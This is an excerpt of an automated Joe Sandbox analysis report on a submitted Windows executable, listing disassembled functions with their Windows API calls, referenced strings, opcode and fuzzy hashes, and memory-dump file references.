Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CapsDeviceRelease
String ID:
API String ID: 127614599-3916222277
Opcode ID: a42f7bf34e2550c06df92b4c4441a28b155cc5d7cfc3f2a0da00e80f490195b4
Instruction ID: 8d3715efcd97103cbe57546f640386d4e66b1d7802299dfa9330b58875e83d56
Opcode Fuzzy Hash: a42f7bf34e2550c06df92b4c4441a28b155cc5d7cfc3f2a0da00e80f490195b4
Instruction Fuzzy Hash: 96E08620F08A4282EB089B76B98903B1751978CBD0F154035F92A87B94DD7CD8844300

Function 00007FF6FE18D1A8 Relevance: 6.2, APIs: 4, Instructions: 238timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNEL32 ref: 00007FF6FE18D46C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18D554
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18D55A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18D560

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$FileTime
String ID:
API String ID: 1137671866-0
Opcode ID: 20228944a5afb91411426e12e74fd9f957feffc0ed5156b7d75ac355226ac421
Instruction ID: 9058afbc336cc42046c5a1bd24dead0432d9ff46fc9f1a49f667b849efea9083
Opcode Fuzzy Hash: 20228944a5afb91411426e12e74fd9f957feffc0ed5156b7d75ac355226ac421
Instruction Fuzzy Hash: A6A18162E1CB8681EB10DB66E4401AD6761FBE5794F405132FA6D87AE9EF3CE648C700

Function 00007FF6FE1A0548 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6FE1A05FC
SetLastError.KERNEL32 ref: 00007FF6FE1A0697

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 1e1ce1e09f3fcb1436f8a63924df09fd4fccf40d73dc660d5d1cbade07bd72dd
Instruction ID: 27d0ad54e523d893c874be18605909386d11ed1a2a82109f9ff1a297fe6d441e
Opcode Fuzzy Hash: 1e1ce1e09f3fcb1436f8a63924df09fd4fccf40d73dc660d5d1cbade07bd72dd
Instruction Fuzzy Hash: A3519262F54A4295FB00DB66D4442FC2722EBE8B98F404232FA2D977D5FE28E649C340

Function 00007FF6FE1A9D90 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6FE1A9DBC
GetLastError.KERNEL32 ref: 00007FF6FE1A9E08
CreateDirectoryW.KERNEL32 ref: 00007FF6FE1A9F10
LocalFree.KERNEL32 ref: 00007FF6FE1A9F20

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CreateCurrentDirectoryErrorFreeLastLocalProcess
String ID:
API String ID: 1077098981-0
Opcode ID: ccc7d28b294f4e6884a1db5a4544c49550100c2123dc1ad4bd8ddaa1afcd3233
Instruction ID: bcccf0c085aa78e6c4f1598f691ff3d77d8f61944b40fca49e3671c05b712bbe
Opcode Fuzzy Hash: ccc7d28b294f4e6884a1db5a4544c49550100c2123dc1ad4bd8ddaa1afcd3233
Instruction Fuzzy Hash: 1D512F32A18B4286EB50CF62E8447AE7B64FBE4B84F501135FA5D97A94EF3CD548CB40

Function 00007FF6FE1BDB5C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE1BDBAF
WideCharToMultiByte.KERNEL32 ref: 00007FF6FE1BDC81
GetLastError.KERNEL32 ref: 00007FF6FE1BDCA4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE1BDCD6

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: fdb879c7c344a6dcddabd48f24568e2f5e84c2dc3f6ceef9c32cec135b3ccbbf
Instruction ID: d91f1254ed50dfe2b5179231c6db2e4b9f0ce06a87ca81d16fad9513ada80891
Opcode Fuzzy Hash: fdb879c7c344a6dcddabd48f24568e2f5e84c2dc3f6ceef9c32cec135b3ccbbf
Instruction Fuzzy Hash: 3041B232E0864646FB6DDA1291403B96A90EFE5B90F548135FA6DC6BD5EF7CE8418700

Function 00007FF6FE193980 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32 ref: 00007FF6FE1939BD
MoveFileW.KERNEL32 ref: 00007FF6FE193A34
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE193AEB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE193AF1

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: FileMove_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3823481717-0
Opcode ID: 23c5bd100aa8ad673c958e7e4297408591e81b8e6a21f45797f9c77ad4370286
Instruction ID: a1d24efa5465a7bb1b220f3aab7374784901dd6869230ccdfb9b2c7f80f26bf5
Opcode Fuzzy Hash: 23c5bd100aa8ad673c958e7e4297408591e81b8e6a21f45797f9c77ad4370286
Instruction Fuzzy Hash: 7041B262F1475184FB00CF7AE8851AC2772BBD4BA4B405231EE6E9BBD9EF38D445C200

Function 00007FF6FE1C0B78 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6FE1BC45B), ref: 00007FF6FE1C0B91
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6FE1BC45B), ref: 00007FF6FE1C0BF3
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6FE1BC45B), ref: 00007FF6FE1C0C2D
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6FE1BC45B), ref: 00007FF6FE1C0C57

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 23704c5f87cc5d65a6a85ab0da0438508b9fc27f2b888927c3d6011bf25654c1
Instruction ID: c1997313e536491d2f45ba08730aaead38609195bed8468b155349eb31e901c3
Opcode Fuzzy Hash: 23704c5f87cc5d65a6a85ab0da0438508b9fc27f2b888927c3d6011bf25654c1
Instruction Fuzzy Hash: B2215221F18B5181E724DF1B64400696AA5FBE4BD0B484174EEAEE3BD4EF3CE4528704

Function 00007FF6FE1BD440 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6FE1B7F28,?,?,?,00007FF6FE1B9D35), ref: 00007FF6FE1BD44A
SetLastError.KERNEL32(?,?,?,00007FF6FE1B7F28,?,?,?,00007FF6FE1B9D35), ref: 00007FF6FE1BD4B2
SetLastError.KERNEL32(?,?,?,00007FF6FE1B7F28,?,?,?,00007FF6FE1B9D35), ref: 00007FF6FE1BD4C8
abort.LIBCMT ref: 00007FF6FE1BD4CE

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: df247b5a3948333368795c339682862bf84e23f7c025c70b8dad3e7beb060077
Instruction ID: edc0bf831549096f625d5b4546b38b8e58020413d87497dfd0cb02b68708be21
Opcode Fuzzy Hash: df247b5a3948333368795c339682862bf84e23f7c025c70b8dad3e7beb060077
Instruction Fuzzy Hash: F7018C14F0860A42FB6CEB77A65617C19A15FF8790F040538F93EC6BD6FD2CB8048201

Function 00007FF6FE1A8590 Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6FE1A8598
GetDeviceCaps.GDI32 ref: 00007FF6FE1A85AE
GetDeviceCaps.GDI32 ref: 00007FF6FE1A85C2
ReleaseDC.USER32 ref: 00007FF6FE1A85D3

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: de15d0a72ac65e47349a1b4cc9ca260558533dfe27db70e7b1e031f833f09c6c
Instruction ID: f7a840fbeab1aa4315ac28d49ec60fe711c9ba7db8dc1c6aa9d16dea8ead4a89
Opcode Fuzzy Hash: de15d0a72ac65e47349a1b4cc9ca260558533dfe27db70e7b1e031f833f09c6c
Instruction Fuzzy Hash: 83E0E560F05A0242FF08DB73AC591361A919F98B41F444439F82E867E0FD7CB4498610

Function 00007FF6FE18E34C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 176COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18E549

Strings

DXGIDebug.dll, xrefs: 00007FF6FE18E35A

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: DXGIDebug.dll
API String ID: 3668304517-540382549
Opcode ID: dd85f8b639cc219206ae2105a346c9825e6d5176955616312b0425911fde27d5
Instruction ID: 03acd73e37edfb1475dde9be33b4d988d8ffa27c73f56079b29006407daba357
Opcode Fuzzy Hash: dd85f8b639cc219206ae2105a346c9825e6d5176955616312b0425911fde27d5
Instruction Fuzzy Hash: DD718F72B14B8186EB14CB26E8403AD77A5FBA4794F444236EBAD47B99EF78D151C300

Function 00007FF6FE1BE1F4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE1BE237

Strings

e+000, xrefs: 00007FF6FE1BE2DF
gfff, xrefs: 00007FF6FE1BE362

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: ffbcb58cc87a1110f60409a8afde5d08377aab6ce8cf060c3284a5669936e3c2
Instruction ID: 64fb21ed9742bd7cc15cf12278d16752d9963043b1a2866d7ef69cca6891f32c
Opcode Fuzzy Hash: ffbcb58cc87a1110f60409a8afde5d08377aab6ce8cf060c3284a5669936e3c2
Instruction Fuzzy Hash: DC510462F187C546E725CB36994136A6F91ABE1B90F089271EABCC7BD5EE2CE444C700

Function 00007FF6FE199408 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE1995A8: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FE1995E6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE19959C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1995A2

Strings

SIZE, xrefs: 00007FF6FE199443

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$swprintf
String ID: SIZE
API String ID: 449872665-3243624926
Opcode ID: 6775c6e5e0b050535fa3d5d92d2e2625b9409ae7efec724ba4f308c615c90b07
Instruction ID: 2f8f39ad2c95c9ffe4a16a0765a352a7625aebfdca38fd5a133f7f2e58f6322d
Opcode Fuzzy Hash: 6775c6e5e0b050535fa3d5d92d2e2625b9409ae7efec724ba4f308c615c90b07
Instruction Fuzzy Hash: 634190A2E1868285FB11DB16E4413BE6751EFE57A0F504232FAAD826EAFE3DD544C700

Function 00007FF6FE1BC2C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE1BC2EA
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF6FE1B2CD5), ref: 00007FF6FE1BC30B

Strings

C:\Users\user\Desktop\file.exe, xrefs: 00007FF6FE1BC2F9

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\file.exe
API String ID: 3307058713-1957095476
Opcode ID: 2b307fc7043d57580c2760bc14d10e66149d3294dbd6a1f00798eb6953a6f573
Instruction ID: 42aa12e2bcda97db94b2b6875496871f46564d6251739299a87c2eadab8863a6
Opcode Fuzzy Hash: 2b307fc7043d57580c2760bc14d10e66149d3294dbd6a1f00798eb6953a6f573
Instruction Fuzzy Hash: AF416E76E08A5686EB18DF27A4400BC7B95EBE8794B444036F96E87BD5EE3DE481C700

Function 00007FF6FE1A9B40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE18255C: GetDlgItem.USER32 ref: 00007FF6FE1825AC
Part of subcall function 00007FF6FE18255C: SetWindowTextW.USER32 ref: 00007FF6FE1825C8

EndDialog.USER32 ref: 00007FF6FE1A9C24
SetDlgItemTextW.USER32 ref: 00007FF6FE1A9CAA

Strings

ASKNEXTVOL, xrefs: 00007FF6FE1A9B72

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 97ebd98f0834f70bd8f3ada112357d921bc9d5e9383391aa045354938bfaeae3
Instruction ID: 698806f5dbbebcba871f0de19ed30fadf31940f68b6c568a1d85de09d0043571
Opcode Fuzzy Hash: 97ebd98f0834f70bd8f3ada112357d921bc9d5e9383391aa045354938bfaeae3
Instruction Fuzzy Hash: 74415D22E08A4281FB10DB13E5502B92BA1AFE5B84F544035FE6DC77E9EE3CE5998340

Function 00007FF6FE199638 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FE1996EA

Part of subcall function 00007FF6FE1A0F68: WideCharToMultiByte.KERNEL32 ref: 00007FF6FE1A0F99

Strings

$%s, xrefs: 00007FF6FE1996D7
@%s, xrefs: 00007FF6FE1996CE

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ByteCharMultiWide_snwprintf
String ID: $%s$@%s
API String ID: 2650857296-834177443
Opcode ID: 68d6d98aec82f67e7f26d78b4367655257a27e60e60eb814561ac576190adeba
Instruction ID: 0e95b8840b40904380e9dc0a61377f49a92dd62f828a3392af841eea1ae0d9cf
Opcode Fuzzy Hash: 68d6d98aec82f67e7f26d78b4367655257a27e60e60eb814561ac576190adeba
Instruction Fuzzy Hash: F231A172F18A8695EB10CF67E4406E92BA0ABA4784F401032FE2D977E9FE3CE505C700

Function 00007FF6FE1BEB04 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6FE1BEB76
GetFileType.KERNEL32 ref: 00007FF6FE1BEB8C

Strings

@, xrefs: 00007FF6FE1BEBB7

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: 01c4e23626c5bd34e0d32a71787dfe5976e9b76bf070a7e2fa99837352baeece
Instruction ID: 4dce042e9b64fa5a5243e88ae067c69ab720df81be8d155532ca631fcfcdbc1d
Opcode Fuzzy Hash: 01c4e23626c5bd34e0d32a71787dfe5976e9b76bf070a7e2fa99837352baeece
Instruction Fuzzy Hash: 7E219A22E0864641EB64CB26999013A6E51FBE5774F281336E67F877D4EE3DE881C301

Function 00007FF6FE1B4078 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6FE1B1D3E), ref: 00007FF6FE1B40BC
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6FE1B1D3E), ref: 00007FF6FE1B4102

Strings

csm, xrefs: 00007FF6FE1B40EF

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
